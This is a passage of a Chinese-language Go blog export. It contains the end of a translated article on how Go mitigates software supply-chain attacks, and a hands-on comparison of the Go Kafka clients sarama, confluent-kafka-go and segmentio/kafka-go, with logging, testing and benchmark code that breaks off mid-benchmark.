的情况下，在某些生态系统中，同样的构建发生时会绕过“已锁定”的版本(译注：去获取依赖的最新版本)。但在Go中，example.com/cmd/devtoolx的最新版本将被获取，但其所有的依赖项的版本将取决于其go.mod文件中的设置。\n如果一个module被破坏，新的恶意版本被发布，没有人会受到影响，直到他们明确地更新该依赖关系，这种方式为gopher提供了审查变化的机会，并为生态系统提供时间来检测该事件会引发的影响。\n版本内容永不改变 确保第三方不能影响构建的另一个关键属性是，module版本的内容是不可改变的。如果一个破坏某依赖项的攻击者可以重新上传该依赖项的一个现有的版本，那么他就可以自动破坏所有依赖该依赖项的项目。\n这就是go.sum文件的作用。它包含了对构建有贡献的每个依赖项的加密哈希值的列表。同样，一个不完整的go.sum会导致一个错误，并且只有go get和go mod tidy会修改它，所以对它的任何修改都会伴随着一个主观故意的依赖性的改变。其他的构建将被保证有一套完整的校验和。\n这是大多数lock文件的一个共同特征。但Go通过校验和数据库（简称sumdb）领先了一步，sumdb是一个全局性的、仅可附加的(append)、加密验证的go.sum条目列表。当go get需要在go.sum文件中添加一个条目时，它从sumdb中获取该条目，并对sumdb的完整性进行加密证明。这不仅确保了某一module的每一次构建都使用相同的依赖，而且确保了每一个module都使用相同的依赖内容。\nsumdb使那些试图用修改过的（例如放置后门的）源码来攻击特定依赖项变为不可能，甚至谷歌自己运维的Go基础设施也做不到。\n它将保证你使用的代码与其他使用例如example.com/modulex v1.9.2的人所使用的代码完全相同，并且已经过审查。\n最后，我最喜欢sumdb的特点：它不需要module作者的任何密钥管理，而且它与Go module的非中心化特性无缝连接。\nVCS是真相之源 大多数项目是通过一些版本控制系统（VCS）开发的。在其他生态系统中，这些项目还需要被再次上传到中心软件包库(译注：比如js生态中的npm)。这意味着有两个账户可能被入侵，一个是VCS主机，另一个是中心软件包库。对后者的攻击使用得更少，也更容易被忽视。这也意味着在上传到中心仓库的版本中更容易隐藏恶意代码，尤其是当源码作为上传的一部分被例行修改时，比如说将其最小化(译注：比如js代码的压缩)。\n在Go中，不存在中心包库账户这样的东西。包的导入路径包含了go mod download所需要的信息，以便go命令直接从VCS中获取其module，vcs上的标签定义了module的版本。\n我们确实有Go Module Mirror，但那只是一个代理。module作者不需要注册账户，也不需要向代理上传版本。代理使用与go工具链相同的逻辑（事实上，代理运行go module download）来获取和缓存一个版本。由于校验数据库保证一个给定的module版本只能有一个源码树，每个使用代理的人都会看到从代理获取的结果与绕过代理直接从VCS获取的结果是相同的。(如果该版本在VCS中不再可用，或者其内容发生了变化，直接获取将导致错误，而从代理获取可能仍然有效，提高了可用性并保护生态系统免受“左键”问题的影响）。\n在客户端运行VCS工具会暴露出一个相当大的攻击面。这也是Go module mirror的另一个作用：代理上的Go工具在一个强大的沙盒内运行，并被配置为支持所有的VCS工具，而默认的是只支持两个主要的VCS系统（git和Mercurial）。任何使用代理的人仍然可以获取使用非默认的VCS系统发布的代码，但攻击者在大多数安装中无法接触到这些代码。\n仅构建代码，但并不会执行它 Go工具链的一个明确的安全设计目标是，无论是获取还是构建代码，都不会让代码执行，无论代码是否是不被信任的和恶意的。这与其他大多数生态系统不同，许多生态系统在获取软件包时对运行代码提供了first-class的支持。这些”post-install”的钩子在过去被用作一种最方便的攻击方式：通过受到攻击的依赖攻击开发者的机器，并通过module作者进行蠕虫攻击。\n公平地说，如果你要获取一些代码，往往会在不久之后执行，要么作为开发者机器上的测试的一部分，要么作为生产中的二进制文件的一部分，所以缺乏post-install钩子只会减缓攻击者。(在构建过程中没有安全边界：任何有助于构建的软件包都可以定义一个init函数）。然而，它可以成为一个有意义的风险缓解措施，因为你可能正在执行一个二进制文件或测试一个包，而这个包只使用module依赖的一个子集。例如，如果你在macOS上构建并执行example.com/cmd/devtoolx，那么针对Windows的依赖或example.com/cmd/othertool的依赖就不可能危害到你的机器。\n在Go中，没有为特定构建提供代码的module对构建没有安全影响(译注：得益于Go 1.17引入的module依赖图修剪)。\n“一点复制比一点依赖性好” 在Go生态系统中，最后一个可能也是最重要的软件供应链风险缓解措施，可能也是最没有技术含量的一个：Go有一种拒绝大型依赖树的文化，宁可复制一点也不愿意增加新的依赖关系。这可以追溯到Go的一个谚语：“一点复制比一点依赖性好”。”零依赖”的标签总是被高质量的可重复使用的Go module所自豪地佩戴。如果你发现自己需要一个这样的库，你很可能会发现它不会导致你依赖其他作者和所有者的几十个module。\n丰富的标准库和附加module（golang.org/x/…的module）也使之成为可能，这些module提供了常用的高级构建模块，如HTTP栈、TLS库、JSON编码等。\n所有这些意味着只需少量的依赖关系就可以建立丰富、复杂的应用程序。无论工具有多好，它都不能消除重复使用代码的风险，所以最有力的缓解措施永远是一个小的依赖树。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/04/02/how-go-mitigates-supply-chain-attacks/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/how-go-mitigates-supply-chain-attacks-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/04/02/how-go-mitigates-supply-chain-attacks\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/04/02/how-go-mitigates-supply-chain-attacks\"\u003ehttps://tonybai.com/2022/04/02/how-go-mitigates-supply-chain-attacks\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e这些年来，关于软件供应链的安全问题频发，软件供应链已然成为IT安全领域的一个热点，在前不久的\u003ca href=\"https://mp.weixin.qq.com/s/qo6wiRIJHyO5vgAJrQFfuw\"\u003e《聊聊Go语言的软件供应链安全》\u003c/a\u003e一文中我曾提到过Go在SBOM(软件物料清单)方面给开发人员带来的方便。这两天Go官博又发表了一篇由Go项目安全负责人\u003ca href=\"https://filippo.io/\"\u003eFilippo Valsorda\u003c/a\u003e撰写的文章\u003ca href=\"https://go.dev/blog/supply-chain\"\u003e《How Go Mitigates Supply Chain Attacks》\u003c/a\u003e，系统总结了Go语言应对软件供应链方面攻击的“防护秘笈”。笔者觉得文章中提到的这些点是每个Gopher都应该知道的必备知识，于是这里将文章做简单翻译，供大家参考。\u003c/p\u003e","title":"Go是如何缓解供应链攻击的[译]"},{"content":"\n本文永久链接 – https://tonybai.com/2022/03/28/the-comparison-of-the-go-community-leading-kakfa-clients\n一. 背景 众所周知，Kafka是Apache开源基金会下的明星级开源项目，作为一个开源的分布式事件流平台，它被成千上万的公司用于高性能数据管道、流分析、数据集成和关键任务应用。在国内，无论大厂小厂，无论是自己部署还是用像阿里云提供的Kafka云服务，很多互联网应用已经离不开Kafka了。\n互联网不拘泥于某种编程语言，但很多人不喜欢Kafka是由Scala/Java开发的。尤其是对于那些对某种语言有着“宗教般”虔诚、有着“手里拿着锤子，眼中满世界都是钉子”的程序员来说，总是有想重写Kafka的冲动。但就像很多新语言的拥趸想重写Kubernetes一样，Kafka已经建立起了巨大的起步和生态优势，短期很难建立起同样规格的巨型项目和对应的生态了(近两年同样火热的类Kafka的Apache pulsar创建时间与Kafka是先后脚的，只是纳入Apache基金会托管的时间较晚)。\nKafka生态很强大，各种编程语言都有对应的Kafka client。Kafka背后的那个公司confluent.inc也维护了各大主流语言的client：\n其他主流语言的开发人员只需要利用好这些client端，做好与Kafka集群的连接就好了。好了做了这么多铺垫，下面说说为啥要写下这篇文章。\n目前业务线生产环境的日志方案是这样的：\n从图中我们看到：业务系统将日志写入Kafka，然后通过logstash工具消费日志并汇聚到后面的Elastic Search Cluster中供查询使用。 业务系统主要是由Java实现的，考虑到Kafka写失败的情况，为了防止log阻塞业务流程，业务系统使用了支持fallback appender的logback进行日志写入：这样当Kafka写入失败时，日志还可以写入备用的文件中，尽可能保证日志不丢失。\n考虑到复用已有的IT设施与方案，我们用Go实现的新系统也向这种不落盘的log汇聚方案靠拢，这就要求我们的logger也要支持向Kafka写入并且支持fallback机制。\n我们的log包是基于uber zap封装而来的，uber的zap日志包是目前Go社区使用最为广泛的、高性能的log包之一，第25期thoughtworks技术雷达也将zap列为试验阶段的工具推荐给大家，并且thoughtworks团队已经在大规模使用它：\n不过，zap原生不支持写Kafka，但zap是可扩展的，我们需要为其增加写Kafka的扩展功能。而要写Kakfa，我们就离不开Kakfa Client包。目前Go社区主流的Kafka client有Shopify的sarama、Kafka背后公司confluent.inc维护的confluent-kafka-go以及segmentio/kafka-go。\n在这篇文章中，我就根据我的使用历程逐一说说我对这三个客户端的使用感受。\n下面，我们首先先来看看star最多的Shopify/sarama。\n二. Shopify/sarama：星多不一定代表优秀 目前在Go社区星星最多，应用最广的Kafka client包是Shopify的sarama。Shopify是一家国外的电商平台，我总是混淆Shopify、Shopee(虾皮)以及传闻中要赞助巴萨的Spotify(瑞典流媒体音乐平台)，傻傻分不清^_^。\n下面我就基于sarama演示一下如何扩展zap，让其支持写kafka。在《一文告诉你如何用好uber开源的zap日志库》一文中，我介绍过zap建构在zapcore之上，而zapcore由Encoder、WriteSyncer和LevelEnabler三部分组成，对于我们这个写Kafka的功能需求来说，我们只需要定义一个给一个WriteSyncer接口的实现，即可组装成一个支持向Kafka写入的logger。\n我们自顶向下先来看看创建logger的函数：\n// https://github.com/bigwhite/experiments/blob/master/kafka-clients/zapkafka/log.go type Logger struct { l *zap.Logger // zap ensure that zap.Logger is safe for concurrent use cfg zap.Config level zap.AtomicLevel } func (l *Logger) Info(msg string, fields ...zap.Field) { l.l.Info(msg, fields...) } func New(writer io.Writer, level int8, opts ...zap.Option) *Logger { if writer == nil { panic(\u0026quot;the writer is nil\u0026quot;) } atomicLevel := zap.NewAtomicLevelAt(zapcore.Level(level)) logger := \u0026amp;Logger{ cfg: zap.NewProductionConfig(), level: atomicLevel, } logger.cfg.EncoderConfig.EncodeTime = func(t time.Time, enc zapcore.PrimitiveArrayEncoder) { enc.AppendString(t.Format(time.RFC3339)) // 2021-11-19 10:11:30.777 } logger.cfg.EncoderConfig.TimeKey = \u0026quot;logtime\u0026quot; core := zapcore.NewCore( zapcore.NewJSONEncoder(logger.cfg.EncoderConfig), zapcore.AddSync(writer), atomicLevel, ) logger.l = zap.New(core, opts...) return logger } // SetLevel alters the logging level on runtime // it is concurrent-safe func (l *Logger) SetLevel(level int8) error { l.level.SetLevel(zapcore.Level(level)) return nil } 这段代码中没有与kafka client相关的内容，New函数用来创建一个*Logger实例，它接受的第一个参数为io.Writer接口类型，用于指示日志的写入位置。这里要注意一点的是：我们使用zap.AtomicLevel类型存储logger的level信息，基于zap.AtomicLevel的level支持热更新，我们可以在程序运行时动态修改logger的log level。这个也是在《一文告诉你如何用好uber开源的zap日志库》遗留问题的答案。\n接下来，我们就基于sarama的AsyncProducer来实现一个满足zapcore.WriteSyncer接口的类型：\n// https://github.com/bigwhite/experiments/blob/master/kafka-clients/zapkafka/kafka_syncer.go type kafkaWriteSyncer struct { topic string producer sarama.AsyncProducer fallbackSyncer zapcore.WriteSyncer } func NewKafkaAsyncProducer(addrs []string) (sarama.AsyncProducer, error) { config := sarama.NewConfig() config.Producer.Return.Errors = true return sarama.NewAsyncProducer(addrs, config) } func NewKafkaSyncer(producer sarama.AsyncProducer, topic string, fallbackWs zapcore.WriteSyncer) zapcore.WriteSyncer { w := \u0026amp;kafkaWriteSyncer{ producer: producer, topic: topic, fallbackSyncer: zapcore.AddSync(fallbackWs), } go func() { for e := range producer.Errors() { val, err := e.Msg.Value.Encode() if err != nil { continue } fallbackWs.Write(val) } }() return w } NewKafkaSyncer是创建zapcore.WriteSyncer的那个函数，它的第一个参数使用了sarama.AsyncProducer接口类型，目的是为了可以利用sarama提供的mock测试包。最后一个参数为fallback时使用的WriteSyncer参数。\nNewKafkaAsyncProducer函数是用于方便用户快速创建sarama.AsyncProducer的，其中的config使用的是默认的config值。在config默认值中，Return.Successes的默认值都false，即表示客户端不关心向Kafka写入消息的成功状态，我们也无需单独建立一个goroutine来消费AsyncProducer.Successes()。但我们需要关注写入失败的消息，因此我们将Return.Errors置为true的同时在NewKafkaSyncer中启动了一个goroutine专门处理写入失败的日志数据，将这些数据写入fallback syncer中。\n接下来，我们看看kafkaWriteSyncer的Write与Sync方法：\n// https://github.com/bigwhite/experiments/blob/master/kafka-clients/zapkafka/kafka_syncer.go func (ws *kafkaWriteSyncer) Write(b []byte) (n int, err error) { b1 := make([]byte, len(b)) copy(b1, b) // b is reused, we must pass its copy b1 to sarama msg := \u0026amp;sarama.ProducerMessage{ Topic: ws.topic, Value: sarama.ByteEncoder(b1), } select { case ws.producer.Input() \u0026lt;- msg: default: // if producer block on input channel, write log entry to default fallbackSyncer return ws.fallbackSyncer.Write(b1) } return len(b1), nil } func (ws *kafkaWriteSyncer) Sync() error { ws.producer.AsyncClose() return ws.fallbackSyncer.Sync() } 注意：上面代码中的b会被zap重用，因此我们在扔给sarama channel之前需要将b copy一份，将副本发送给sarama。\n从上面代码看，这里我们将要写入的数据包装成一个sarama.ProducerMessage，然后发送到producer的Input channel中。这里有一个特殊处理，那就是当如果msg阻塞在Input channel上时，我们将日志写入fallbackSyncer。这种情况是出于何种考虑呢？这主要是因为基于sarama v1.30.0版本的kafka logger在我们的验证环境下出现过hang住的情况，当时的网络可能出现过波动，导致logger与kafka之间的连接出现过异常，我们初步怀疑就是这个位置阻塞，导致业务被阻塞住了。在sarama v1.32.0版本中有一个fix，和我们这个hang的现象很类似。\n但这么做也有一个严重的问题，那就是在压测中，我们发现大量日志都无法写入到kafka，而是都写到了fallback syncer中。究其原因，我们在sarama的async_producer.go中看到：input channel是一个unbuffered channel，而从input channel读取消息的dispatcher goroutine也仅仅有一个，考虑到goroutine的调度，大量日志写入fallback syncer就不足为奇了：\n// github.com/Shopify/sarama@v1.32.0/async_producer.go func newAsyncProducer(client Client) (AsyncProducer, error) { // Check that we are not dealing with a closed Client before processing any other arguments if client.Closed() { return nil, ErrClosedClient } txnmgr, err := newTransactionManager(client.Config(), client) if err != nil { return nil, err } p := \u0026amp;asyncProducer{ client: client, conf: client.Config(), errors: make(chan *ProducerError), input: make(chan *ProducerMessage), // 笔者注：这是一个unbuffer channel successes: make(chan *ProducerMessage), retries: make(chan *ProducerMessage), brokers: make(map[*Broker]*brokerProducer), brokerRefs: make(map[*brokerProducer]int), txnmgr: txnmgr, } ... ... } 有人说这里可以加定时器(Timer)做超时，要知道日志都是在程序执行的关键路径上，每写一条log就启动一个Timer感觉太耗了(即便是Reset重用Timer)。如果sarama在任何时候都不会hang住input channel，那么在Write方法中我们还是不要使用select-default这样的trick。\nsarama的一个不错的地方是提供了mocks测试工具包，该包既可用于sarama的自测，也可以用作依赖sarama的go包的自测，以上面的实现为例，我们可以编写基于mocks测试包的一些test：\n// https://github.com/bigwhite/experiments/blob/master/kafka-clients/zapkafka/log_test.go func TestWriteFailWithKafkaSyncer(t *testing.T) { config := sarama.NewConfig() p := mocks.NewAsyncProducer(t, config) var buf = make([]byte, 0, 256) w := bytes.NewBuffer(buf) w.Write([]byte(\u0026quot;hello\u0026quot;)) logger := New(NewKafkaSyncer(p, \u0026quot;test\u0026quot;, NewFileSyncer(w)), 0) p.ExpectInputAndFail(errors.New(\u0026quot;produce error\u0026quot;)) p.ExpectInputAndFail(errors.New(\u0026quot;produce error\u0026quot;)) // all below will be written to the fallback sycner logger.Info(\u0026quot;demo1\u0026quot;, zap.String(\u0026quot;status\u0026quot;, \u0026quot;ok\u0026quot;)) // write to the kafka syncer logger.Info(\u0026quot;demo2\u0026quot;, zap.String(\u0026quot;status\u0026quot;, \u0026quot;ok\u0026quot;)) // write to the kafka syncer // make sure the goroutine which handles the error writes the log to the fallback syncer time.Sleep(2 * time.Second) s := string(w.Bytes()) if !strings.Contains(s, \u0026quot;demo1\u0026quot;) { t.Errorf(\u0026quot;want true, actual false\u0026quot;) } if !strings.Contains(s, \u0026quot;demo2\u0026quot;) { t.Errorf(\u0026quot;want true, actual false\u0026quot;) } if err := p.Close(); err != nil { t.Error(err) } } 测试通过mocks.NewAsyncProducer返回满足sarama.AsyncProducer接口的实现。然后设置expect，针对每条消息都要设置expect，这里写入两条日志，所以设置了两次。注意：由于我们是在一个单独的goroutine中处理的Errors channel，因此这里存在一些竞态条件。在并发程序中，Fallback syncer也一定要支持并发写，zapcore提供了zapcore.Lock可以用于将一个普通的zapcore.WriteSyncer包装成并发安全的WriteSyncer。\n不过，使用sarama的过程中还遇到过一个“严重”的问题，那就是有些时候数据并没有完全写入到kafka。我们去掉针对input channel的select-default操作，然后创建一个concurrent-write小程序，用于并发的向kafka写入log：\n// https://github.com/bigwhite/experiments/blob/master/kafka-clients/zapkafka/cmd/concurrent_write/main.go func SaramaProducer() { p, err := log.NewKafkaAsyncProducer([]string{\u0026quot;localhost:29092\u0026quot;}) if err != nil { panic(err) } logger := log.New(log.NewKafkaSyncer(p, \u0026quot;test\u0026quot;, zapcore.AddSync(os.Stderr)), int8(0)) var wg sync.WaitGroup var cnt int64 for j := 0; j \u0026lt; 10; j++ { wg.Add(1) go func(j int) { var value string for i := 0; i \u0026lt; 10000; i++ { now := time.Now() value = fmt.Sprintf(\u0026quot;%02d-%04d-%s\u0026quot;, j, i, now.Format(\u0026quot;15:04:05\u0026quot;)) logger.Info(\u0026quot;log message:\u0026quot;, zap.String(\u0026quot;value\u0026quot;, value)) atomic.AddInt64(\u0026amp;cnt, 1) } wg.Done() }(j) } wg.Wait() logger.Sync() println(\u0026quot;cnt =\u0026quot;, atomic.LoadInt64(\u0026amp;cnt)) time.Sleep(10 * time.Second) } func main() { SaramaProducer() } 我们用kafka官方提供的docker-compose.yml在本地启动一个kafka服务：\n$cd benchmark $docker-compose up -d 然后我们使用kafka容器中自带的consumer工具从名为test的topic中消费数据，消费的数据重定向到1.log中：\n$docker exec benchmark_kafka_1 /bin/kafka-console-consumer --bootstrap-server localhost:9092 --topic test --from-beginning \u0026gt; 1.log 2\u0026gt;\u0026amp;1 然后我们运行concurrent_write：\n$ make $./concurrent_write \u0026gt; 1.log 2\u0026gt;\u0026amp;1 concurrent_write程序启动了10个goroutine，每个goroutine向kafka写入1w条日志，多数情况下在benchmark目录下的1.log都能看到10w条日志记录，但在使用sarama v1.30.0版本时有些时候看到的是少于10w条的记录，至于那些“丢失”的记录则不知在何处了。使用sarama v1.32.0时，这种情况还尚未出现过。\n好了，是时候看看下一个kafka client包了！\n三. confluent-kafka-go：需要开启cgo的包还是有点烦 confluent-kafka-go包是kafka背后的技术公司confluent.inc维护的Go客户端，也可以算是Kafka官方Go客户端了。不过这个包唯一的“问题”在于它是基于kafka c/c++库librdkafka构建而成，这意味着一旦你的Go程序依赖confluent-kafka-go，你就很难实现Go应用的静态编译，也无法实现跨平台编译。由于所有业务系统都依赖log包，一旦依赖confluent-kafka-go只能动态链接，我们的构建工具链全需要更改，代价略大。\n不过confluent-kafka-go使用起来也很简单，写入性能也不错，并且不存在前面sarama那样的“丢消息”的情况，下面是一个基于confluent-kafka-go的producer示例：\n// https://github.com/bigwhite/experiments/blob/master/kafka-clients/confluent-kafka-go-static-build/producer.go func ReadConfig(configFile string) kafka.ConfigMap { m := make(map[string]kafka.ConfigValue) file, err := os.Open(configFile) if err != nil { fmt.Fprintf(os.Stderr, \u0026quot;Failed to open file: %s\u0026quot;, err) os.Exit(1) } defer file.Close() scanner := bufio.NewScanner(file) for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if !strings.HasPrefix(line, \u0026quot;#\u0026quot;) \u0026amp;\u0026amp; len(line) != 0 { kv := strings.Split(line, \u0026quot;=\u0026quot;) parameter := strings.TrimSpace(kv[0]) value := strings.TrimSpace(kv[1]) m[parameter] = value } } if err := scanner.Err(); err != nil { fmt.Printf(\u0026quot;Failed to read file: %s\u0026quot;, err) os.Exit(1) } return m } func main() { conf := ReadConfig(\u0026quot;./producer.conf\u0026quot;) topic := \u0026quot;test\u0026quot; p, err := kafka.NewProducer(\u0026amp;conf) var mu sync.Mutex if err != nil { fmt.Printf(\u0026quot;Failed to create producer: %s\u0026quot;, err) os.Exit(1) } var wg sync.WaitGroup var cnt int64 // Go-routine to handle message delivery reports and // possibly other event types (errors, stats, etc) go func() { for e := range p.Events() { switch ev := e.(type) { case *kafka.Message: if ev.TopicPartition.Error != nil { fmt.Printf(\u0026quot;Failed to deliver message: %v\\n\u0026quot;, ev.TopicPartition) } else { fmt.Printf(\u0026quot;Produced event to topic %s: key = %-10s value = %s\\n\u0026quot;, *ev.TopicPartition.Topic, string(ev.Key), string(ev.Value)) } } } }() for j := 0; j \u0026lt; 10; j++ { wg.Add(1) go func(j int) { var value string for i := 0; i \u0026lt; 10000; i++ { key := \u0026quot;\u0026quot; now := time.Now() value = fmt.Sprintf(\u0026quot;%02d-%04d-%s\u0026quot;, j, i, now.Format(\u0026quot;15:04:05\u0026quot;)) mu.Lock() p.Produce(\u0026amp;kafka.Message{ TopicPartition: kafka.TopicPartition{Topic: \u0026amp;topic, Partition: kafka.PartitionAny}, Key: []byte(key), Value: []byte(value), }, nil) mu.Unlock() atomic.AddInt64(\u0026amp;cnt, 1) } wg.Done() }(j) } wg.Wait() // Wait for all messages to be delivered time.Sleep(10 * time.Second) p.Close() } 这里我们还是使用10个goroutine向kafka各写入1w消息，注意：默认使用kafka.NewProducer创建的Producer实例不是并发安全的，所以这里用一个sync.Mutex对其Produce调用进行同步管理。我们可以像sarama中的例子那样，在本地启动一个kafka服务，验证一下confluent-kafka-go的运行情况。\n由于confluent-kafka-go包基于kafka c库而实现，所以我们没法关闭CGO，如果关闭CGO，将遇到下面编译问题：\n$CGO_ENABLED=0 go build # producer ./producer.go:15:42: undefined: kafka.ConfigMap ./producer.go:17:29: undefined: kafka.ConfigValue ./producer.go:50:18: undefined: kafka.NewProducer ./producer.go:85:22: undefined: kafka.Message ./producer.go:86:28: undefined: kafka.TopicPartition ./producer.go:86:75: undefined: kafka.PartitionAny 因此，默认情况依赖confluent-kafka-go包的Go程序会采用动态链接，通过ldd查看编译后的程序结果如下(on CentOS)：\n$make build $ldd producer linux-vdso.so.1 =\u0026gt; (0x00007ffcf87ec000) libm.so.6 =\u0026gt; /lib64/libm.so.6 (0x00007f473d014000) libdl.so.2 =\u0026gt; /lib64/libdl.so.2 (0x00007f473ce10000) libpthread.so.0 =\u0026gt; /lib64/libpthread.so.0 (0x00007f473cbf4000) librt.so.1 =\u0026gt; /lib64/librt.so.1 (0x00007f473c9ec000) libc.so.6 =\u0026gt; /lib64/libc.so.6 (0x00007f473c61e000) /lib64/ld-linux-x86-64.so.2 (0x00007f473d316000) 那么在CGO开启的情况下是否可以静态编译呢？理论上是可以的。这个在我的《Go语言精进之路》中关于CGO一节有详细说明。\n不过confluent-kafka-go包官方目前确认还不支持静态编译。我们来试试在CGO开启的情况下，对其进行静态编译：\n// on CentOS $ go build -buildvcs=false -o producer-static -ldflags '-linkmode \u0026quot;external\u0026quot; -extldflags \u0026quot;-static\u0026quot;' $ producer /root/.bin/go1.18beta2/pkg/tool/linux_amd64/link: running gcc failed: exit status 1 /usr/bin/ld: 找不到 -lm /usr/bin/ld: 找不到 -ldl /usr/bin/ld: 找不到 -lpthread /usr/bin/ld: 找不到 -lrt /usr/bin/ld: 找不到 -lpthread /usr/bin/ld: 找不到 -lc collect2: 错误：ld 返回 1 静态链接会将confluent-kafka-go的c语言部分的符号进行静态链接，这些符号可能在libc、libpthread等c运行时库或系统库中，但默认情况下，CentOS是没有安装这些库的.a(archive)版本的。我们需要手动安装：\n$yum install glibc-static 安装后，我们再执行上面的静态编译命令：\n$go build -buildvcs=false -o producer-static -ldflags '-linkmode \u0026quot;external\u0026quot; -extldflags \u0026quot;-static\u0026quot;' $ producer /root/go/pkg/mod/github.com/confluentinc/confluent-kafka-go@v1.8.2/kafka/librdkafka_vendor/librdkafka_glibc_linux.a(rddl.o)：在函数‘rd_dl_open’中： (.text+0x1d): 警告：Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking /root/go/pkg/mod/github.com/confluentinc/confluent-kafka-go@v1.8.2/kafka/librdkafka_vendor/librdkafka_glibc_linux.a(rdaddr.o)：在函数‘rd_getaddrinfo’中： (.text+0x440): 警告：Using 'getaddrinfo' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking 这回我们的静态编译成功了！\n$ ldd producer-static 不是动态可执行文件 但有一些警告！我们先不理这些警告，试试编译出来的producer-static是否可用。使用docker-compose启动本地kafka服务，执行producer-static，我们发现程序可以正常将10w消息写入kafka，中间没有错误发生。至少在producer场景下，应用并没有执行包含dlopen、getaddrinfo的代码。\n不过这不代表在其他场景下上面的静态编译方式没有问题，因此还是等官方方案出炉吧。或者使用builder容器构建你的基于confluent-kafka-go的程序。\n我们继续往下看segmentio/kafka-go。\n四. segmentio/kafka-go：sync很慢，async很快！ 和sarama一样，segmentio/kafka-go也是一个纯go实现的kafka client，并且在很多公司的生产环境经历过考验，segmentio/kafka-go提供低级conn api和高级api(reader和writer)，以writer为例，相对低级api，它是并发safe的，还提供连接保持和重试，无需开发者自己实现，另外writer还支持sync和async写、带context.Context的超时写等。\n不过Writer的sync模式写十分慢，1秒钟才几十条，但async模式就飞快了！\n不过和confluent-kafka-go一样，segmentio/kafka-go也没有像sarama那样提供mock测试包，我们需要自己建立环境测试。kafka-go官方的建议时：在本地启动一个kafka服务，然后运行测试。在轻量级容器十分流行的时代，是否需要mock还真是一件值得思考的事情。\nsegmentio/kafka-go的使用体验非常棒，至今没有遇到过什么大问题，这里不举例了，例子见下面benchmark章节。\n五. 写入性能 即便是简要对比，也不能少了benchmark。这里针对上面三个包分别建立了顺序benchmark和并发benchmark的测试用例：\n// https://github.com/bigwhite/experiments/blob/master/kafka-clients/benchmark/kafka_clients_test.go var m = []byte(\u0026quot;this is benchmark for three mainstream kafka client\u0026quot;) func BenchmarkSaramaAsync(b *testing.B) { b.ReportAllocs() config := sarama.NewConfig() producer, err := sarama.NewAsyncProducer([]string{\u0026quot;localhost:29092\u0026quot;}, config) if err != nil { panic(err) } message := \u0026amp;sarama.ProducerMessage{Topic: \u0026quot;test\u0026quot;, Value: sarama.ByteEncoder(m)} b.ResetTimer() for i := 0; i \u0026lt; b.N; i++ { producer.Input() \u0026lt;- message } } func BenchmarkSaramaAsyncInParalell(b *testing.B) { b.ReportAllocs() config := sarama.NewConfig() producer, err := sarama.NewAsyncProducer([]string{\u0026quot;localhost:29092\u0026quot;}, config) if err != nil { panic(err) } message := \u0026amp;sarama.ProducerMessage{Topic: \u0026quot;test\u0026quot;, Value: sarama.ByteEncoder(m)} b.ResetTimer() b.RunParallel(func(pb *testing.PB) { for pb.Next() { producer.Input() \u0026lt;- message } }) } func BenchmarkKafkaGoAsync(b *testing.B) { b.ReportAllocs() w := \u0026amp;kafkago.Writer{ Addr: kafkago.TCP(\u0026quot;localhost:29092\u0026quot;), Topic: \u0026quot;test\u0026quot;, Balancer: \u0026amp;kafkago.LeastBytes{}, Async: true, } c := context.Background() b.ResetTimer() for i := 0; i \u0026lt; b.N; i++ { w.WriteMessages(c, kafkago.Message{Value: []byte(m)}) } } func BenchmarkKafkaGoAsyncInParalell(b *testing.B) { b.ReportAllocs() w := \u0026amp;kafkago.Writer{ Addr: kafkago.TCP(\u0026quot;localhost:29092\u0026quot;), Topic: \u0026quot;test\u0026quot;, Balancer: \u0026amp;kafkago.LeastBytes{}, Async: true, } c := context.Background() b.ResetTimer() b.RunParallel(func(pb *testing.PB) { for pb.Next() { w.WriteMessages(c, kafkago.Message{Value: []byte(m)}) } }) } func ReadConfig(configFile string) ckafkago.ConfigMap { m := make(map[string]ckafkago.ConfigValue) file, err := os.Open(configFile) if err != nil { fmt.Fprintf(os.Stderr, \u0026quot;Failed to open file: %s\u0026quot;, err) os.Exit(1) } defer file.Close() scanner := bufio.NewScanner(file) for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if !strings.HasPrefix(line, \u0026quot;#\u0026quot;) \u0026amp;\u0026amp; len(line) != 0 { kv := strings.Split(line, \u0026quot;=\u0026quot;) parameter := strings.TrimSpace(kv[0]) value := strings.TrimSpace(kv[1]) m[parameter] = value } } if err := scanner.Err(); err != nil { fmt.Printf(\u0026quot;Failed to read file: %s\u0026quot;, err) os.Exit(1) } return m } func BenchmarkConfluentKafkaGoAsync(b *testing.B) { b.ReportAllocs() conf := ReadConfig(\u0026quot;./confluent-kafka-go.conf\u0026quot;) topic := \u0026quot;test\u0026quot; p, _ := ckafkago.NewProducer(\u0026amp;conf) go func() { for _ = range p.Events() { } }() key := []byte(\u0026quot;\u0026quot;) b.ResetTimer() for i := 0; 